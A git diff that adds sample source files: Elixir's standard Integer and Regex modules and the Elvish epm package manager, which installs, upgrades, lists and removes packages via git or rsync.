diff --git a/samples/Elixir/integer.ex b/samples/Elixir/integer.ex
new file mode 100644
index 0000000000..f2f2d486d4
--- /dev/null
+++ b/samples/Elixir/integer.ex
@@ -0,0 +1,198 @@
+defmodule Integer do
+  @moduledoc """
+  Functions for working with integers.
+  """
+
+  import Bitwise
+
+  @doc """
+  Determines if `integer` is odd.
+  """
+  defguard is_odd(integer) when is_integer(integer) and (integer &&& 1) == 1
+
+  @doc """
+  Determines if an `integer` is even.
+  """
+  defguard is_even(integer) when is_integer(integer) and (integer &&& 1) == 0
+
+  @doc """
+  Computes `base` raised to power of `exponent`.
+  """
+  @doc since: "1.12.0"
+  @spec pow(integer, non_neg_integer) :: integer
+  def pow(base, exponent) when is_integer(base) and is_integer(exponent) do
+    if exponent < 0, do: :erlang.error(:badarith, [base, exponent])
+    guarded_pow(base, exponent)
+  end
+
+  # https://en.wikipedia.org/wiki/Exponentiation_by_squaring
+  defp guarded_pow(_, 0), do: 1
+  defp guarded_pow(b, 1), do: b
+  defp guarded_pow(b, e) when (e &&& 1) == 0, do: guarded_pow(b * b, e >>> 1)
+  defp guarded_pow(b, e), do: b * guarded_pow(b * b, e >>> 1)
+
+  @doc """
+  Computes the modulo remainder of an integer division.
+  """
+  @doc since: "1.4.0"
+  @spec mod(integer, neg_integer | pos_integer) :: integer
+  def mod(dividend, divisor) do
+    remainder = rem(dividend, divisor)
+
+    if remainder * divisor < 0 do
+      remainder + divisor
+    else
+      remainder
+    end
+  end
+
+  @doc """
+  Performs a floored integer division.
+  """
+  @doc since: "1.4.0"
+  @spec floor_div(integer, neg_integer | pos_integer) :: integer
+  def floor_div(dividend, divisor) do
+    if dividend * divisor < 0 and rem(dividend, divisor) != 0 do
+      div(dividend, divisor) - 1
+    else
+      div(dividend, divisor)
+    end
+  end
+
+  @doc """
+  Returns the ordered digits for the given `integer`.
+  """
+  @spec digits(integer, pos_integer) :: [integer, ...]
+  def digits(integer, base \\ 10)
+      when is_integer(integer) and is_integer(base) and base >= 2 do
+    do_digits(integer, base, [])
+  end
+
+  defp do_digits(integer, base, acc) when abs(integer) < base, do: [integer | acc]
+
+  defp do_digits(integer, base, acc),
+    do: do_digits(div(integer, base), base, [rem(integer, base) | acc])
+
+  @doc """
+  Returns the integer represented by the ordered `digits`.
+  """
+  @spec undigits([integer], pos_integer) :: integer
+  def undigits(digits, base \\ 10) when is_list(digits) and is_integer(base) and base >= 2 do
+    do_undigits(digits, base, 0)
+  end
+
+  defp do_undigits([], _base, acc), do: acc
+
+  defp do_undigits([digit | _], base, _) when is_integer(digit) and digit >= base,
+    do: raise(ArgumentError, "invalid digit #{digit} in base #{base}")
+
+  defp do_undigits([digit | tail], base, acc) when is_integer(digit),
+    do: do_undigits(tail, base, acc * base + digit)
+
+  @doc """
+  Parses a text representation of an integer.
+  """
+  @spec parse(binary, 2..36) :: {integer, binary} | :error
+  def parse(binary, base \\ 10)
+
+  def parse(_binary, base) when base not in 2..36 do
+    raise ArgumentError, "invalid base #{inspect(base)}"
+  end
+
+  def parse(binary, base) when is_binary(binary) do
+    case count_digits(binary, base) do
+      0 ->
+        :error
+
+      count ->
+        {digits, rem} = :erlang.split_binary(binary, count)
+        {:erlang.binary_to_integer(digits, base), rem}
+    end
+  end
+
+  defp count_digits(<<sign, rest::bits>>, base) when sign in '+-' do
+    case count_digits_nosign(rest, base, 1) do
+      1 -> 0
+      count -> count
+    end
+  end
+
+  defp count_digits(<<rest::bits>>, base) do
+    count_digits_nosign(rest, base, 0)
+  end
+
+  digits = [{?0..?9, -?0}, {?A..?Z, 10 - ?A}, {?a..?z, 10 - ?a}]
+
+  for {chars, diff} <- digits,
+      char <- chars do
+    digit = char + diff
+
+    defp count_digits_nosign(<<unquote(char), rest::bits>>, base, count)
+         when base > unquote(digit) do
+      count_digits_nosign(rest, base, count + 1)
+    end
+  end
+
+  defp count_digits_nosign(<<_::bits>>, _, count), do: count
+
+  # TODO: Remove Integer.to_string/1 once the minimum supported version is
+  #       Erlang/OTP 22, since it is covered by the now BIF Integer.to_string/2.
+  #       Please reapply commit 2622fd6b0aa419a983a899a1fbdb5deefba3d85d.
+  @doc """
+  Returns a binary which corresponds to the text representation
+  of `integer`.
+  """
+  @spec to_string(integer) :: String.t()
+  def to_string(integer) do
+    :erlang.integer_to_binary(integer)
+  end
+
+  @doc """
+  Returns a binary which corresponds to the text representation
+  of `integer` in the given `base`.
+  """
+  @spec to_string(integer, 2..36) :: String.t()
+  def to_string(integer, base) do
+    :erlang.integer_to_binary(integer, base)
+  end
+
+  # TODO: Remove Integer.to_charlist/1 once the minimum supported version is
+  #       Erlang/OTP 22, since it is covered by the now BIF Integer.to_charlist/2.
+  #       Please reapply commit 2622fd6b0aa419a983a899a1fbdb5deefba3d85d.
+  @doc """
+  Returns a charlist which corresponds to the text representation of the given `integer`.
+  """
+  @spec to_charlist(integer) :: charlist
+  def to_charlist(integer) do
+    :erlang.integer_to_list(integer)
+  end
+
+  @doc """
+  Returns a charlist which corresponds to the text representation of `integer` in the given `base`.
+  """
+  @spec to_charlist(integer, 2..36) :: charlist
+  def to_charlist(integer, base) do
+    :erlang.integer_to_list(integer, base)
+  end
+
+  @doc """
+  Returns the greatest common divisor of the two given integers.
+  """
+  @doc since: "1.5.0"
+  @spec gcd(integer, integer) :: non_neg_integer
+  def gcd(integer1, integer2) when is_integer(integer1) and is_integer(integer2) do
+    gcd_positive(abs(integer1), abs(integer2))
+  end
+
+  defp gcd_positive(0, integer2), do: integer2
+  defp gcd_positive(integer1, 0), do: integer1
+  defp gcd_positive(integer1, integer2), do: gcd_positive(integer2, rem(integer1, integer2))
+
+  @doc false
+  @deprecated "Use Integer.to_charlist/1 instead"
+  def to_char_list(integer), do: Integer.to_charlist(integer)
+
+  @doc false
+  @deprecated "Use Integer.to_charlist/2 instead"
+  def to_char_list(integer, base), do: Integer.to_charlist(integer, base)
+end
diff --git a/samples/Elixir/regex.ex b/samples/Elixir/regex.ex
new file mode 100644
index 0000000000..1c144dd037
--- /dev/null
+++ b/samples/Elixir/regex.ex
@@ -0,0 +1,499 @@
+defmodule Regex do
+  @moduledoc ~S"""
+  Provides regular expressions for Elixir.
+  """
+
+  defstruct re_pattern: nil, source: "", opts: "", re_version: ""
+
+  @type t :: %__MODULE__{re_pattern: term, source: binary, opts: binary}
+
+  defmodule CompileError do
+    defexception message: "regex could not be compiled"
+  end
+
+  @doc """
+  Compiles the regular expression.
+  """
+  @spec compile(binary, binary | [term]) :: {:ok, t} | {:error, any}
+  def compile(source, options \\ "") when is_binary(source) do
+    compile(source, options, version())
+  end
+
+  defp compile(source, options, version) when is_binary(options) do
+    case translate_options(options, []) do
+      {:error, rest} ->
+        {:error, {:invalid_option, rest}}
+
+      translated_options ->
+        compile(source, translated_options, options, version)
+    end
+  end
+
+  defp compile(source, options, version) when is_list(options) do
+    compile(source, options, "", version)
+  end
+
+  defp compile(source, opts, doc_opts, version) do
+    case :re.compile(source, opts) do
+      {:ok, re_pattern} ->
+        {:ok, %Regex{re_pattern: re_pattern, re_version: version, source: source, opts: doc_opts}}
+
+      error ->
+        error
+    end
+  end
+
+  @doc """
+  Compiles the regular expression and raises `Regex.CompileError` in case of errors.
+  """
+  @spec compile!(binary, binary | [term]) :: t
+  def compile!(source, options \\ "") when is_binary(source) do
+    case compile(source, options) do
+      {:ok, regex} -> regex
+      {:error, {reason, at}} -> raise Regex.CompileError, "#{reason} at position #{at}"
+    end
+  end
+
+  @doc """
+  Recompiles the existing regular expression if necessary.
+  """
+  @doc since: "1.4.0"
+  @spec recompile(t) :: {:ok, t} | {:error, any}
+  def recompile(%Regex{} = regex) do
+    version = version()
+
+    case regex do
+      %{re_version: ^version} ->
+        {:ok, regex}
+
+      _ ->
+        %{source: source, opts: opts} = regex
+        compile(source, opts, version)
+    end
+  end
+
+  @doc """
+  Recompiles the existing regular expression and raises `Regex.CompileError` in case of errors.
+  """
+  @doc since: "1.4.0"
+  @spec recompile!(t) :: t
+  def recompile!(regex) do
+    case recompile(regex) do
+      {:ok, regex} -> regex
+      {:error, {reason, at}} -> raise Regex.CompileError, "#{reason} at position #{at}"
+    end
+  end
+
+  @doc """
+  Returns the version of the underlying Regex engine.
+  """
+  @doc since: "1.4.0"
+  @spec version :: term()
+  def version do
+    {:re.version(), :erlang.system_info(:endian)}
+  end
+
+  @doc """
+  Returns a boolean indicating whether there was a match or not.
+  """
+  @spec match?(t, String.t()) :: boolean
+  def match?(%Regex{} = regex, string) when is_binary(string) do
+    safe_run(regex, string, [{:capture, :none}]) == :match
+  end
+
+  @doc """
+  Returns `true` if the given `term` is a regex.
+  Otherwise returns `false`.
+  """
+  # TODO: deprecate permanently on Elixir v1.15
+  @doc deprecated: "Use Kernel.is_struct/2 or pattern match on %Regex{} instead"
+  def regex?(term)
+  def regex?(%Regex{}), do: true
+  def regex?(_), do: false
+
+  @doc """
+  Runs the regular expression against the given string until the first match.
+  It returns a list with all captures or `nil` if no match occurred.
+  """
+  @spec run(t, binary, [term]) :: nil | [binary] | [{integer, integer}]
+  def run(regex, string, options \\ [])
+
+  def run(%Regex{} = regex, string, options) when is_binary(string) do
+    return = Keyword.get(options, :return, :binary)
+    captures = Keyword.get(options, :capture, :all)
+    offset = Keyword.get(options, :offset, 0)
+
+    case safe_run(regex, string, [{:capture, captures, return}, {:offset, offset}]) do
+      :nomatch -> nil
+      :match -> []
+      {:match, results} -> results
+    end
+  end
+
+  @doc """
+  Returns the given captures as a map or `nil` if no captures are found.
+  """
+  @spec named_captures(t, String.t(), [term]) :: map | nil
+  def named_captures(regex, string, options \\ []) when is_binary(string) do
+    names = names(regex)
+    options = Keyword.put(options, :capture, names)
+    results = run(regex, string, options)
+    if results, do: Enum.zip(names, results) |> Enum.into(%{})
+  end
+
+  @doc """
+  Returns the underlying `re_pattern` in the regular expression.
+  """
+  @spec re_pattern(t) :: term
+  def re_pattern(%Regex{re_pattern: compiled}) do
+    compiled
+  end
+
+  @doc """
+  Returns the regex source as a binary.
+  """
+  @spec source(t) :: String.t()
+  def source(%Regex{source: source}) do
+    source
+  end
+
+  @doc """
+  Returns the regex options as a string.
+  """
+  @spec opts(t) :: String.t()
+  def opts(%Regex{opts: opts}) do
+    opts
+  end
+
+  @doc """
+  Returns a list of names in the regex.
+  """
+  @spec names(t) :: [String.t()]
+  def names(%Regex{re_pattern: compiled, re_version: version, source: source}) do
+    re_pattern =
+      case version() do
+        ^version ->
+          compiled
+
+        _ ->
+          {:ok, recompiled} = :re.compile(source)
+          recompiled
+      end
+
+    {:namelist, names} = :re.inspect(re_pattern, :namelist)
+    names
+  end
+
+  @doc ~S"""
+  Same as `run/3`, but scans the target several times collecting all
+  matches of the regular expression.
+  """
+  @spec scan(t, String.t(), [term]) :: [[String.t()]]
+  def scan(regex, string, options \\ [])
+
+  def scan(%Regex{} = regex, string, options) when is_binary(string) do
+    return = Keyword.get(options, :return, :binary)
+    captures = Keyword.get(options, :capture, :all)
+    offset = Keyword.get(options, :offset, 0)
+    options = [{:capture, captures, return}, :global, {:offset, offset}]
+
+    case safe_run(regex, string, options) do
+      :match -> []
+      :nomatch -> []
+      {:match, results} -> results
+    end
+  end
+
+  defp safe_run(
+         %Regex{re_pattern: compiled, source: source, re_version: version, opts: compile_opts},
+         string,
+         options
+       ) do
+    case version() do
+      ^version -> :re.run(string, compiled, options)
+      _ -> :re.run(string, source, translate_options(compile_opts, options))
+    end
+  end
+
+  @doc """
+  Splits the given target based on the given pattern and in the given number of
+  parts.
+  """
+  @spec split(t, String.t(), [term]) :: [String.t()]
+  def split(regex, string, options \\ [])
+
+  def split(%Regex{}, "", opts) do
+    if Keyword.get(opts, :trim, false) do
+      []
+    else
+      [""]
+    end
+  end
+
+  def split(%Regex{} = regex, string, opts)
+      when is_binary(string) and is_list(opts) do
+    on = Keyword.get(opts, :on, :first)
+
+    case safe_run(regex, string, [:global, capture: on]) do
+      {:match, matches} ->
+        index = parts_to_index(Keyword.get(opts, :parts, :infinity))
+        trim = Keyword.get(opts, :trim, false)
+        include_captures = Keyword.get(opts, :include_captures, false)
+        do_split(matches, string, 0, index, trim, include_captures)
+
+      :match ->
+        [string]
+
+      :nomatch ->
+        [string]
+    end
+  end
+
+  defp parts_to_index(:infinity), do: 0
+  defp parts_to_index(n) when is_integer(n) and n > 0, do: n
+
+  defp do_split(_, string, offset, _counter, true, _with_captures)
+       when byte_size(string) <= offset do
+    []
+  end
+
+  defp do_split(_, string, offset, 1, _trim, _with_captures),
+    do: [binary_part(string, offset, byte_size(string) - offset)]
+
+  defp do_split([], string, offset, _counter, _trim, _with_captures),
+    do: [binary_part(string, offset, byte_size(string) - offset)]
+
+  defp do_split([[{pos, _} | h] | t], string, offset, counter, trim, with_captures)
+       when pos - offset < 0 do
+    do_split([h | t], string, offset, counter, trim, with_captures)
+  end
+
+  defp do_split([[] | t], string, offset, counter, trim, with_captures),
+    do: do_split(t, string, offset, counter, trim, with_captures)
+
+  defp do_split([[{pos, length} | h] | t], string, offset, counter, trim, true) do
+    new_offset = pos + length
+    keep = pos - offset
+
+    <<_::binary-size(offset), part::binary-size(keep), match::binary-size(length), _::binary>> =
+      string
+
+    if keep == 0 and trim do
+      [match | do_split([h | t], string, new_offset, counter - 1, trim, true)]
+    else
+      [part, match | do_split([h | t], string, new_offset, counter - 1, trim, true)]
+    end
+  end
+
+  defp do_split([[{pos, length} | h] | t], string, offset, counter, trim, false) do
+    new_offset = pos + length
+    keep = pos - offset
+
+    if keep == 0 and trim do
+      do_split([h | t], string, new_offset, counter, trim, false)
+    else
+      <<_::binary-size(offset), part::binary-size(keep), _::binary>> = string
+      [part | do_split([h | t], string, new_offset, counter - 1, trim, false)]
+    end
+  end
+
+  @doc ~S"""
+  Receives a regex, a binary and a replacement, returns a new
+  binary where all matches are replaced by the replacement.
+  """
+  @spec replace(t, String.t(), String.t() | (... -> String.t()), [term]) :: String.t()
+  def replace(%Regex{} = regex, string, replacement, options \\ [])
+      when is_binary(string) and is_list(options) do
+    opts = if Keyword.get(options, :global) != false, do: [:global], else: []
+    opts = [{:capture, :all, :index} | opts]
+
+    case safe_run(regex, string, opts) do
+      :nomatch ->
+        string
+
+      {:match, [mlist | t]} when is_list(mlist) ->
+        apply_list(string, precompile_replacement(replacement), [mlist | t])
+        |> IO.iodata_to_binary()
+
+      {:match, slist} ->
+        apply_list(string, precompile_replacement(replacement), [slist])
+        |> IO.iodata_to_binary()
+    end
+  end
+
+  defp precompile_replacement(replacement) when is_function(replacement) do
+    {:arity, arity} = Function.info(replacement, :arity)
+    {replacement, arity}
+  end
+
+  defp precompile_replacement(""), do: []
+
+  defp precompile_replacement(<<?\\, ?g, ?{, rest::binary>>) when byte_size(rest) > 0 do
+    {ns, <<?}, rest::binary>>} = pick_int(rest)
+    [List.to_integer(ns) | precompile_replacement(rest)]
+  end
+
+  defp precompile_replacement(<<?\\, ?\\, rest::binary>>) do
+    [<<?\\>> | precompile_replacement(rest)]
+  end
+
+  defp precompile_replacement(<<?\\, x, rest::binary>>) when x in ?0..?9 do
+    {ns, rest} = pick_int(rest)
+    [List.to_integer([x | ns]) | precompile_replacement(rest)]
+  end
+
+  defp precompile_replacement(<<x, rest::binary>>) do
+    case precompile_replacement(rest) do
+      [head | t] when is_binary(head) ->
+        [<<x, head::binary>> | t]
+
+      other ->
+        [<<x>> | other]
+    end
+  end
+
+  defp pick_int(<<x, rest::binary>>) when x in ?0..?9 do
+    {found, rest} = pick_int(rest)
+    {[x | found], rest}
+  end
+
+  defp pick_int(bin) do
+    {[], bin}
+  end
+
+  defp apply_list(string, replacement, list) do
+    apply_list(string, string, 0, replacement, list)
+  end
+
+  defp apply_list(_, "", _, _, []) do
+    []
+  end
+
+  defp apply_list(_, string, _, _, []) do
+    string
+  end
+
+  defp apply_list(whole, string, pos, replacement, [[{mpos, _} | _] | _] = list)
+       when mpos > pos do
+    length = mpos - pos
+    <<untouched::binary-size(length), rest::binary>> = string
+    [untouched | apply_list(whole, rest, mpos, replacement, list)]
+  end
+
+  defp apply_list(whole, string, pos, replacement, [[{pos, length} | _] = head | tail]) do
+    <<_::size(length)-binary, rest::binary>> = string
+    new_data = apply_replace(whole, replacement, head)
+    [new_data | apply_list(whole, rest, pos + length, replacement, tail)]
+  end
+
+  defp apply_replace(string, {fun, arity}, indexes) do
+    apply(fun, get_indexes(string, indexes, arity))
+  end
+
+  defp apply_replace(_, [bin], _) when is_binary(bin) do
+    bin
+  end
+
+  defp apply_replace(string, repl, indexes) do
+    indexes = List.to_tuple(indexes)
+
+    for part <- repl do
+      cond do
+        is_binary(part) ->
+          part
+
+        part >= tuple_size(indexes) ->
+          ""
+
+        true ->
+          get_index(string, elem(indexes, part))
+      end
+    end
+  end
+
+  defp get_index(_string, {pos, _length}) when pos < 0 do
+    ""
+  end
+
+  defp get_index(string, {pos, length}) do
+    <<_::size(pos)-binary, res::size(length)-binary, _::binary>> = string
+    res
+  end
+
+  defp get_indexes(_string, _, 0) do
+    []
+  end
+
+  defp get_indexes(string, [], arity) do
+    ["" | get_indexes(string, [], arity - 1)]
+  end
+
+  defp get_indexes(string, [h | t], arity) do
+    [get_index(string, h) | get_indexes(string, t, arity - 1)]
+  end
+
+  @doc ~S"""
+  Escapes a string to be literally matched in a regex.
+  """
+  @spec escape(String.t()) :: String.t()
+  def escape(string) when is_binary(string) do
+    string
+    |> escape(_length = 0, string)
+    |> IO.iodata_to_binary()
+  end
+
+  @escapable '.^$*+?()[]{}|#-\\\t\n\v\f\r\s'
+
+  defp escape(<<char, rest::binary>>, length, original) when char in @escapable do
+    escape_char(rest, length, original, char)
+  end
+
+  defp escape(<<_, rest::binary>>, length, original) do
+    escape(rest, length + 1, original)
+  end
+
+  defp escape(<<>>, _length, original) do
+    original
+  end
+
+  defp escape_char(<<rest::binary>>, 0, _original, char) do
+    [?\\, char | escape(rest, 0, rest)]
+  end
+
+  defp escape_char(<<rest::binary>>, length, original, char) do
+    [binary_part(original, 0, length), ?\\, char | escape(rest, 0, rest)]
+  end
+
+  # Helpers
+
+  @doc false
+  # Unescape map function used by Macro.unescape_string.
+  def unescape_map(?f), do: ?\f
+  def unescape_map(?n), do: ?\n
+  def unescape_map(?r), do: ?\r
+  def unescape_map(?t), do: ?\t
+  def unescape_map(?v), do: ?\v
+  def unescape_map(?a), do: ?\a
+  def unescape_map(_), do: false
+
+  # Private Helpers
+
+  defp translate_options(<<?u, t::binary>>, acc), do: translate_options(t, [:unicode, :ucp | acc])
+  defp translate_options(<<?i, t::binary>>, acc), do: translate_options(t, [:caseless | acc])
+  defp translate_options(<<?x, t::binary>>, acc), do: translate_options(t, [:extended | acc])
+  defp translate_options(<<?f, t::binary>>, acc), do: translate_options(t, [:firstline | acc])
+  defp translate_options(<<?U, t::binary>>, acc), do: translate_options(t, [:ungreedy | acc])
+
+  defp translate_options(<<?s, t::binary>>, acc),
+    do: translate_options(t, [:dotall, {:newline, :anycrlf} | acc])
+
+  defp translate_options(<<?m, t::binary>>, acc), do: translate_options(t, [:multiline | acc])
+
+  defp translate_options(<<?r, t::binary>>, acc) do
+    IO.warn("the /r modifier in regular expressions is deprecated, please use /U instead")
+    translate_options(t, [:ungreedy | acc])
+  end
+
+  defp translate_options(<<>>, acc), do: acc
+  defp translate_options(rest, _acc), do: {:error, rest}
+end
diff --git a/samples/Elvish/epm.elv b/samples/Elvish/epm.elv
new file mode 100644
index 0000000000..8d2391923e
--- /dev/null
+++ b/samples/Elvish/epm.elv
@@ -0,0 +1,445 @@
+use re
+use str
+use platform
+
+# Verbosity configuration
+var debug-mode = $false
+
+# Configuration for common domains
+var -default-domain-config = [
+  &"github.com"= [
+    &method= git
+    &protocol= https
+    &levels= 2
+  ]
+  &"bitbucket.org"= [
+    &method= git
+    &protocol= https
+    &levels= 2
+  ]
+  &"gitlab.com"= [
+    &method= git
+    &protocol= https
+    &levels= 2
+  ]
+]
+
+#elvdoc:var managed-dir
+#
+# The path of the `epm`-managed directory.
+
+var managed-dir = (
+  if $platform:is-windows {
+    put $E:LocalAppData/elvish/lib
+  } elif (not-eq $E:XDG_DATA_HOME '') {
+    put $E:XDG_DATA_HOME/elvish/lib
+  } else {
+    put ~/.local/share/elvish/lib
+  }
+)
+
+# General utility functions
+
+fn -debug {|text|
+  if $debug-mode {
+    print (styled '=> ' blue)
+    echo $text
+  }
+}
+
+fn -info {|text|
+  print (styled '=> ' green)
+  echo $text
+}
+
+fn -warn {|text|
+  print (styled '=> ' yellow)
+  echo $text
+}
+
+fn -error {|text|
+  print (styled '=> ' red)
+  echo $text
+}
+
+fn dest {|pkg|
+  put $managed-dir/$pkg
+}
+
+#elvdoc:fn is-installed
+#
+# ```elvish
+# epm:is-installed $pkg
+# ```
+#
+# Returns a boolean value indicating whether the given package is installed.
+
+fn is-installed {|pkg|
+  bool ?(test -e (dest $pkg))
+}
+
+fn -package-domain {|pkg|
+  str:split &max=2 / $pkg | take 1
+}
+
+fn -package-without-domain {|pkg|
+  str:split &max=2 / $pkg | drop 1 | str:join ''
+}
+
+# Merge two maps
+fn -merge {|a b|
+  keys $b | each {|k| set a[$k] = $b[$k] }
+  put $a
+}
+
+# Uppercase first letter of a string
+fn -first-upper {|s|
+  put (echo $s[0] | tr '[:lower:]' '[:upper:]')$s[(count $s[0]):]
+}
+
+# Expand tilde at the beginning of a string to the home dir
+fn -tilde-expand {|p|
+  re:replace "^~" $E:HOME $p
+}
+
+# Known method handlers. Each entry is indexed by method name (the
+# value of the "method" key in the domain configs), and must contain
+# two keys: install and upgrade, each one must be a closure that
+# receives two arguments: package name and the domain config entry
+#
+# - Method 'git' requires the key 'protocol' in the domain config,
+#   which has to be 'http' or 'https'
+# - Method 'rsync' requires the key 'location' in the domain config,
+#   which has to contain the directory where the domain files are
+#   stored. It can be any source location understood by the rsync
+#   command.
+var -method-handler
+set -method-handler = [
+  &git= [
+    &src= {|pkg dom-cfg|
+      put $dom-cfg[protocol]"://"$pkg
+    }
+
+    &install= {|pkg dom-cfg|
+      var dest = (dest $pkg)
+      -info "Installing "$pkg
+      mkdir -p $dest
+      git clone ($-method-handler[git][src] $pkg $dom-cfg) $dest
+    }
+
+    &upgrade= {|pkg dom-cfg|
+      var dest = (dest $pkg)
+      -info "Updating "$pkg
+      try {
+        git -C $dest pull
+      } catch _ {
+          -error "Something failed, please check error above and retry."
+      }
+    }
+  ]
+
+  &rsync= [
+    &src= {|pkg dom-cfg|
+      put (-tilde-expand $dom-cfg[location])/(-package-without-domain $pkg)/
+    }
+
+    &install= {|pkg dom-cfg|
+      var dest = (dest $pkg)
+      var pkgd = (-package-without-domain $pkg)
+      -info "Installing "$pkg
+      rsync -av ($-method-handler[rsync][src] $pkg $dom-cfg) $dest
+    }
+
+    &upgrade= {|pkg dom-cfg|
+      var dest = (dest $pkg)
+      var pkgd = (-package-without-domain $pkg)
+      if (not (is-installed $pkg)) {
+        -error "Package "$pkg" is not installed."
+        return
+      }
+      -info "Updating "$pkg
+      rsync -av ($-method-handler[rsync][src] $pkg $dom-cfg) $dest
+    }
+  ]
+]
+
+# Return the filename of the domain config file for the given domain
+# (regardless of whether it exists)
+fn -domain-config-file {|dom|
+  put $managed-dir/$dom/epm-domain.cfg
+}
+
+# Return the filename of the metadata file for the given package
+# (regardless of whether it exists)
+fn -package-metadata-file {|pkg|
+  put (dest $pkg)/metadata.json
+}
+
+fn -write-domain-config {|dom|
+  var cfgfile = (-domain-config-file $dom)
+  mkdir -p (dirname $cfgfile)
+  if (has-key $-default-domain-config $dom) {
+    put $-default-domain-config[$dom] | to-json > $cfgfile
+  } else {
+    -error "No default config exists for domain "$dom"."
+  }
+}
+
+# Returns the domain config for a given domain parsed from JSON.
+# If the file does not exist but we have a built-in
+# definition, then we return the default. Otherwise we return $false,
+# so the result can always be checked with 'if'.
+fn -domain-config {|dom|
+  var cfgfile = (-domain-config-file $dom)
+  var cfg = $false
+  if ?(test -f $cfgfile) {
+    # If the config file exists, read it...
+    set cfg = (cat $cfgfile | from-json)
+    -debug "Read domain config for "$dom": "(to-string $cfg)
+  } else {
+    # ...otherwise check if we have a default config for the domain, and save it
+    if (has-key $-default-domain-config $dom) {
+      set cfg = $-default-domain-config[$dom]
+      -debug "No existing config for "$dom", using the default: "(to-string $cfg)
+    } else {
+      -debug "No existing config for "$dom" and no default available."
+    }
+  }
+  put $cfg
+}
+
+
+# Return the method by which a package is installed
+fn -package-method {|pkg|
+  var dom = (-package-domain $pkg)
+  var cfg = (-domain-config $dom)
+  if $cfg {
+    put $cfg[method]
+  } else {
+    put $false
+  }
+}
+
+# Invoke package operations defined in $-method-handler above
+fn -package-op {|pkg what|
+  var dom = (-package-domain $pkg)
+  var cfg = (-domain-config $dom)
+  if $cfg {
+    var method = $cfg[method]
+    if (has-key $-method-handler $method) {
+      if (has-key $-method-handler[$method] $what) {
+        $-method-handler[$method][$what] $pkg $cfg
+      } else {
+        fail "Unknown operation '"$what"' for package "$pkg
+      }
+    } else {
+      fail "Unknown method '"$method"', specified in in config file "(-domain-config-file $dom)
+    }
+  } else {
+    -error "No config for domain '"$dom"'."
+  }
+}
+
+# Uninstall a single package by removing its directory
+fn -uninstall-package {|pkg|
+  if (not (is-installed $pkg)) {
+    -error "Package "$pkg" is not installed."
+    return
+  }
+  var dest = (dest $pkg)
+  -info "Removing package "$pkg
+  rm -rf $dest
+}
+
+######################################################################
+# Main user-facing functions
+
+#elvdoc:fn metadata
+#
+# ```elvish
+# epm:metadata $pkg
+# ```
+#
+# Returns a hash containing the metadata for the given package. Metadata for a
+# package includes the following base attributes:
+#
+# -   `name`: name of the package
+# -   `installed`: a boolean indicating whether the package is currently installed
+# -   `method`: method by which it was installed (`git` or `rsync`)
+# -   `src`: source URL of the package
+# -   `dst`: where the package is (or would be) installed. Note that this
+#     attribute is returned even if `installed` is `$false`.
+#
+# Additionally, packages can define arbitrary metadata attributes in a file called
+# `metadata.json` in their top directory. The following attributes are
+# recommended:
+#
+# -   `description`: a human-readable description of the package
+# -   `maintainers`: an array containing the package maintainers, in
+#     `Name <email>` format.
+# -   `homepage`: URL of the homepage for the package, if it has one.
+# -   `dependencies`: an array listing dependencies of the current package. Any
+#     packages listed will be installed automatically by `epm:install` if they are
+#     not yet installed.
+
+# Read and parse the package metadata, if it exists
+fn metadata {|pkg|
+  # Base metadata attributes
+  var res = [
+    &name= $pkg
+    &method= (-package-method $pkg)
+    &src= (-package-op $pkg src)
+    &dst= (dest $pkg)
+    &installed= (is-installed $pkg)
+  ]
+  # Merge with package-specified attributes, if any
+  var file = (-package-metadata-file $pkg)
+  if (and (is-installed $pkg) ?(test -f $file)) {
+    set res = (-merge (cat $file | from-json) $res)
+  }
+  put $res
+}
+
+#elvdoc:fn query
+#
+# ```elvish
+# epm:query $pkg
+# ```
+#
+# Pretty print the available metadata of the given package.
+
+# Print out information about a package
+fn query {|pkg|
+  var data = (metadata $pkg)
+  var special-keys = [name method installed src dst]
+  echo (styled "Package "$data[name] cyan)
+  if $data[installed] {
+    echo (styled "Installed at "$data[dst] green)
+  } else {
+    echo (styled "Not installed" red)
+  }
+  echo (styled "Source:" blue) $data[method] $data[src]
+  keys $data | each {|key|
+    if (not (has-value $special-keys $key)) {
+      var val = $data[$key]
+      if (eq (kind-of $val) list) {
+        set val = (str:join ", " $val)
+      }
+      echo (styled (-first-upper $key)":" blue) $val
+    }
+  }
+}
+
+#elvdoc:fn installed
+#
+# ```elvish
+# epm:installed
+# ```
+#
+# Return an array with all installed packages. `epm:list` can be used as an alias
+# for `epm:installed`.
+
+# List installed packages
+fn installed {
+  put $managed-dir/*[nomatch-ok] | each {|dir|
+    var dom = (str:replace $managed-dir/ '' $dir)
+    var cfg = (-domain-config $dom)
+    # Only list domains for which we know the config, so that the user
+    # can have his own non-package directories under ~/.elvish/lib
+    # without conflicts.
+    if $cfg {
+      var lvl = $cfg[levels]
+      var pat = '^\Q'$managed-dir'/\E('(repeat (+ $lvl 1) '[^/]+' | str:join '/')')/$'
+      put (each {|d| re:find $pat $d } [ $managed-dir/$dom/**[nomatch-ok]/ ] )[groups][1][text]
+    }
+  }
+}
+
+# epm:list is an alias for epm:installed
+fn list { installed }
+
+#elvdoc:fn install
+#
+# ```elvish
+# epm:install &silent-if-installed=$false $pkg...
+# ```
+#
+# Install the named packages. By default, if a package is already installed, a
+# message will be shown. This can be disabled by passing
+# `&silent-if-installed=$true`, so that already-installed packages are silently
+# ignored.
+
+# Install and upgrade are method-specific, so we call the
+# corresponding functions using -package-op
+fn install {|&silent-if-installed=$false @pkgs|
+  if (eq $pkgs []) {
+    -error "You must specify at least one package."
+    return
+  }
+  for pkg $pkgs {
+    if (is-installed $pkg) {
+      if (not $silent-if-installed) {
+        -info "Package "$pkg" is already installed."
+      }
+    } else {
+      -package-op $pkg install
+      # Check if there are any dependencies to install
+      var metadata = (metadata $pkg)
+      if (has-key $metadata dependencies) {
+        var deps = $metadata[dependencies]
+        -info "Installing dependencies: "(str:join " " $deps)
+        # If the installation of dependencies fails, uninstall the
+        # target package (leave any already-installed dependencies in
+        # place)
+        try {
+          install $@deps
+        } catch e {
+          -error "Dependency installation failed. Uninstalling "$pkg", please check the errors above and try again."
+          -uninstall-package $pkg
+        }
+      }
+    }
+  }
+}
+
+#elvdoc:fn upgrade
+#
+# ```elvish
+# epm:upgrade $pkg...
+# ```
+#
+# Upgrade named packages. If no package name is given, upgrade all installed
+# packages.
+
+fn upgrade {|@pkgs|
+  if (eq $pkgs []) {
+    set pkgs = [(installed)]
+    -info 'Upgrading all installed packages'
+  }
+  for pkg $pkgs {
+    if (not (is-installed $pkg)) {
+      -error "Package "$pkg" is not installed."
+    } else {
+      -package-op $pkg upgrade
+    }
+  }
